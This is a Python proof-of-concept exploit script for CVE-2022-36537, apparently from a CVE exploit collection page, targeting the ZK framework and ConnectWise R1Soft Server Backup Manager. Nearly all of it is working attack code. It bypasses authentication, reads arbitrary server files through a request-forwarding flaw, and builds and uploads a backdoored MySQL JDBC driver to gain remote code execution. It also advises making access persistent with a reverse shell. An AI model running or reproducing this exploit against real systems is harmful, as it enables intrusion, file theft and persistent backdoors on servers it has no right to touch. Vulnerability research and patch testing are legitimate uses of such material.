4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-36537.py PY
#!/usr/bin/env python3
# coding: utf-8
"""
@File    : CVE-2022-36537.py
@Time    : 2022/11/11 23:34
@Author  : Bearcat of www.numencyber.com
@Version : 1.0
@Desc    : ZK framework authentication bypass & connectWise r1Soft server backup manager remote code execution.
"""

import sys
import subprocess
import os
import warnings
import re

import zipfile
import shutil

import requests
from requests_toolbelt import MultipartEncoder
import urllib3

from selenium import webdriver
from rich import print as rprint

import argparse

urllib3.disable_warnings()

# proxy = {
#    "http": "http://127.0.0.1:8080"
# }

proxy = {}


# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
    warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
    rprint("[italic green][*] Bypass authentication.")
    try:
        opt = webdriver.ChromeOptions()
        opt.add_argument('--headless')
        opt.add_argument('--ignore-certificate-errors')
        driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
        driver.get(target)
        cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
        dtid = driver.execute_script("""
            for (var dtid in zk.Desktop.all)
            return dtid
        """)
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()


def bypass_auth2(target):
    rprint("[italic green][*] Bypass authentication.")
    uri = "{0}/login.zul".format(target)
    try:
        result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
        cookie_str = result.headers['Set-Cookie'].split(";")[0]
        r = u"dt:'(.*?)',cu:"
        regex = re.compile(r)
        dtid = regex.findall(result.text)[0]
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()


def forward_request(target, next_uri, cookie_str, uuid, dtid):
    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
    param = {"nextURI": (None, next_uri)}
    headers = {"Cookie": cookie_str}
    data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
    headers["Content-Type"] = data.content_type
    try:
        result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
        return result
    except Exception as e:
        rprint("[italic red][-] Forward request failed. {0}".format(e))
        exit()


def read_file(target, filename):
    # get login_dtid
    login_dtid, cookie_str = bypass_auth2(target)
    rprint("[italic green][*] Start reading the file:")
    result = forward_request(target, filename, cookie_str, "101010", login_dtid)
    return "-----file start-----\n{0}\n-----file end-----".format(result.text)


def deploy_jdbc_backdoor(target):
    rprint(
        "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
    play_again = input("Whether to continue? (y/n):").lower()
    if play_again[0] != "y":
        exit()
    # get login_dtid
    login_dtid, cookie_str = bypass_auth2(target)
    rprint("[italic green][*] Start deploying the jdbc backdoor.")
    build_jdbc_backdoor()
    # database_dtid and mysql_driver_upload_button_id
    uri = "/Configuration/database-drivers.zul"
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)
    r1 = u"{dt:'(.*?)',cu:"
    regex = re.compile(r1)
    database_dtid = regex.findall(result.text)[0]
    r1 = u"'zul.wgt.Button','(.*?)',"
    regex = re.compile(r1)
    mysql_driver_upload_button_id = regex.findall(result.text)[0]

    uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
        database_dtid, mysql_driver_upload_button_id)
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)

    # file_upload_dlg_id and file_upload_id
    r1 = u"zul.fud.FileuploadDlg','(.*?)',"
    regex = re.compile(r1)
    file_upload_dlg_id = regex.findall(result.text)[0]

    r1 = u"zul.wgt.Fileupload','(.*?)',"
    regex = re.compile(r1)
    file_upload_id = regex.findall(result.text)[0]

    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
    upload_jdbc_backdoor(uri, cookie_str)

    uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
        database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)

    uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
                                                                                      file_upload_dlg_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)


def upload_jdbc_backdoor(uri, cookie_str):
    rprint("[italic green][*] Upload the database driver.")
    headers = {"Cookie": cookie_str}
    files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
    try:
        requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
    except Exception as e:
        rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
        exit()


def build_jdbc_backdoor():
    rprint("[italic green][*] Compile java code.")
    java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
    popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    popen.stdout.read()

    tmp_path = 'jdbc_jar'
    os.mkdir(tmp_path)
    with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
        unzf.extractall("jdbc_jar")
        unzf.close()
    os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
    shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')

    with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
        for root, dirs, files in os.walk(tmp_path):
            relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
            for filename in files:
                zf.write(os.path.join(root, filename), relative_root + filename)
        zf.close()
    shutil.rmtree(tmp_path)

    rprint("[italic green][*] Build jdbc backdoor success.")


def banner():
    rprint("[italic white]CVE-2022-36537:\n\tZK framework authentication bypass")
    rprint("[italic white]\tConnectWise r1Soft server backup manager remote code execution")


def parse_args():
    parser = argparse.ArgumentParser(prog='cve-2022-36537',
                                     formatter_class=argparse.RawTextHelpFormatter,
                                     description='author: Bearcat of www.numencyber.com',
                                     usage='cve-2022-36537.py [options]')
    parser.add_argument('-u', '--url', type=str, default='', help='target url')
    parser.add_argument('-r', '--read', type=str, default='', help='reading the file')
    parser.add_argument('-b', '--build', action="store_true", help='build jdbc backdoor')
    parser.add_argument('-d', '--deploy', action="store_true", help='deploying the jdbc backdoor')

    if len(sys.argv) == 1:
        sys.argv.append('-h')

    args = parser.parse_args()
    return args


if __name__ == '__main__':
    banner()
    args = parse_args()
    if args.url and args.read:
        print(read_file(args.url, args.read))
        exit()
    if args.build:
        build_jdbc_backdoor()
        exit()
    if args.url and args.deploy:
        deploy_jdbc_backdoor(args.url)
        exit()